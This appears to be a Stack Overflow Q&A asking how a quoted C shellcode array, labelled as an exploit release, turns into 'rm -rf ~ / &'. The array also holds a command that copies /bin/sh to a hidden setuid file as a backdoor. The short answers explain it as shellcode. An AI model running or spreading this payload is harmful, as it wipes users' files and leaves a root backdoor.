2

How does the following malicious command become rm -rf ~ / & when compiled?

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
  • 1
    Just try to compile a small code like system("ls") and look into its assembly content. – Eddy_Em Sep 23 '13 at 4:53
  • I don't know assembly :( – Demi Sep 23 '13 at 5:00
2

It's called shellcode.

Basically the hex codes are determined from the assembled machine code and correspond to byte locations of Linux system calls.

  • How does the code even compile without an error like "undefined reference to 'main'"? – Demi Sep 23 '13 at 5:03
  • @Demetri, that's quite simple: this variable is assembly code that's running when you run your compiled program. – Eddy_Em Sep 23 '13 at 5:05

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.